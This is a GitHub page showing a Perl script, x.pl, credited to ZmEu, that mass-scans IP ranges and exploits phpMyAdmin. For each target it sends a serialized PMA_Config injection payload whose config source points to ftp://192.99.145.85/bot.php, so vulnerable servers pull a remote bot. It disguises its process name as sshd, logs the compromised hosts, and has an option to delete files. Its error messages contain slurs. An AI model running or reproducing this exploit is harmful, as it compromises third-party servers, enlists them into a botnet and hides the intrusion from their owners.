-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathx.pl
210 lines (194 loc) · 5.54 KB
/
x.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#!/usr/bin/perl
# MODULES
#use warnings;
use Parallel::ForkManager;
use IO::Socket;
use URI::_foreign;
use URI::_generic;
use URI::_query;
require URI::_foreign;
use URI;
use LWP;
use LWP::Simple;
use LWP::UserAgent;
use LWP::Protocol::http;
use URI::http;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use HTTP::Headers;
use HTML::Parser;
use Parallel::ForkManager;
use IO::Socket;
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use HTTP::Headers;
use Getopt::Long;
use Time::HiRes qw(gettimeofday);
use MIME::Base64;
#use strict;
my $ua = LWP::UserAgent->new(agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]", env_proxy => 1, keep_alive => 1,timeout => 20);
my $hostfile="$ARGV[0]";
my $word=".dsf";
my $maximumprocess="100";
my $hiddenprocess='/usr/sbin/sshd ';
my $eth="venet0:0";
my $spd='9';
my $scanclassb;
my $scanclassa;
my $explhost;
my $explpayhost;
my $explpayloadfile;
GetOptions(
'exploit|x' => \&exploit,
'h|hostfile=s' => \$hostfile,
'p|paths=s' => \$word,
't|threads=s' => \$maximumprocess,
'help' => \&usage,
'hide=s' => \$hiddenprocess,
'b=s' => \$scanclassb,
'a=s' => \$scanclassa,
'i=s' => \$eth,
'spd=s' => \$spd,
'r' => \&rev,
'host=s' => \$explpayhost,
'clean|sterge' => \&sterge,
);
$0="$hiddenprocess";
sub rev {
our $reverse='on';
}
if ($explhost) {
shell("$explhost");
}
elsif ($scanclassb) {
scanb("$scanclassb","$eth","$spd","$reverse");
}
elsif ($scanclassa) {
scana("$scanclassa","$eth","$spd","$reverse");
}
elsif (($explpayloadfile) && $explpayhost) {
payload_exec("$explpayhost","$explpayloadfile");
}
if ( !-e $word ) {
die "\e[37;1m[\e[32;1m+\e[37;1m] \e[1;31;1mCRITICAL! Paths file does not seem to exist faggot: $word\e[0m\n";
}
if ( !-e $hostfile ) {
die "\e[37;1m[\e[32;1m+\e[37;1m] \e[1;31;1mCRITICAL! Host file does not seem to exist dumbfuck: $hostfile\e[0m\n";
}
sub usage {
print ("\e[37;1m[\e[32;1m+\e[37;1m] \e[1;31;1mSyntax: $0 .. READ THE DAMN MANUAL=]\e[0m\n\n");
exit;
}
sub exploit {
my $total = `grep -c . $hostfile`;
chomp($total);
my $curhost = 0;
my $forkmanager = new Parallel::ForkManager($maximumprocess);
open(my $hostfileh, "<" . $hostfile);
while (<$hostfileh>) {
my $host = $_;
$host =~ s/\x0a//g;
chomp($host);
$curhost = $curhost + 1;
chomp($curhost);
print qq (\e[0;32m[\e[1;33m+\e[0;32m]\e[0;31mDEAD IP\e[1;33m -> \e[0;32m$host \e[0;31m[\e[0;31m$curhost \e[1;33mof \e[0;32m$total\e[0;32m]\e[0;32m\n);
open(my $wordh, "<" . $word);
while (<$wordh>) {
my $path = $_;
$path =~ s/\x0a//g;
chomp($path);
my $processid = $forkmanager->start() and next;
my $ua = LWP::UserAgent->new(agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]", env_proxy => 1, keep_alive => 1,timeout => 20);
my $url = $host;
my $ftp = "ftp://192.99.145.85/bot.php";
my $len = length($ftp);
my $code = "a:1:\{i:0\;O:10:\"PMA_Config\":1:\{s:6:\"source\"\;s:" . $len . ":\"". $ftp ."\"\;\}\}";
$code =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
my $cookie = HTTP::Cookies->new;
my $token;
my $req = HTTP::Request->new("GET", $url);
my $res = $ua->request($req);
if ($res->is_success) {
$join = join("",$res->as_string);
if ($token=$join=~m#name="token" value="(.+?)"#sg) {
$token = $1;
}
else {
#print ("[=]fix pula");
}
}
$cookie->extract_cookies($res);
$attempt = "action=lay_navigation&eoltype=unix&token=" . $token . "&configuration=" . $code;
$req = HTTP::Request->new("POST", $url);
$cookie->add_cookie_header($req);
$req->header(Referer => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($attempt);
$res = $ua->request($req);
my $data = $res->as_string;
#print $data;
#if ( $data =~ m#zmeu_start(.+?)zmeu_end#sg )
if ( $data =~ m#500(.+?)#sg )
{
open(OUT, ">>.session.log");
print OUT ("$host\n");
close OUT;
print("\e[1;33m[\e[0;31m+\e[1;33m]\e[0;32mVulnerable\e[0;31;33m -> $host \e[0m\n");
}
$forkmanager->finish();
}
close($wordh);
}
close($hostfileh);
$forkmanager->wait_all_children();
}
sub scana {
my $classa=$_[0];
my $interface=$_[1];
my $speed=$_[2];
my $reverse=$_[3];
print ("[=]pma massscan by ZmEu of #blackhats @ Foonet\n[=]Greetz to everyone i know release date: 18/02/2011\nReverse ip mode: $reverse\n");
system("rm -f bios.txt ips.txt urls.txt urlz.txt vuln.txt");
system("./ss 80 -a $classa -i $interface -s $speed");
system("sort -u bios.txt > ips.txt");
system("./bing ips.txt");
system("sort -u urls.txt > urlz.txt");
system("./zmeu urlz.txt vuln.txt cgi $maximumprocess");
#if ($reverse eq "on") {
#&startrev();
#exit;
#}
#else {
&exploit();
exit;
#}
#exit;
}
sub scanb {
my $classb=$_[0];
my $interface=$_[1];
my $speed=$_[2];
my $reverse=$_[3];
print ("[=]PMA Exploit by Colocation\n[=]\nReverse ip mode: $reverse\n");
system("rm -f bios.txt ips.txt urls.txt urlz.txt vuln.txt");
system("./ss 80 -b $classb -i $interface -s $speed");
system("sort -u bios.txt > ips.txt");
system("./bing ips.txt");
system("sort -u urls.txt > urlz.txt");
system("./zmeu urlz.txt vuln.txt cgi $maximumprocess");
#if ($reverse eq "on") {
#&startrev();
#exit;
#}
#else {
&exploit();
exit;
#}
#exit;
}
sub sterge {
system("rm -f *.txt");
exit;
}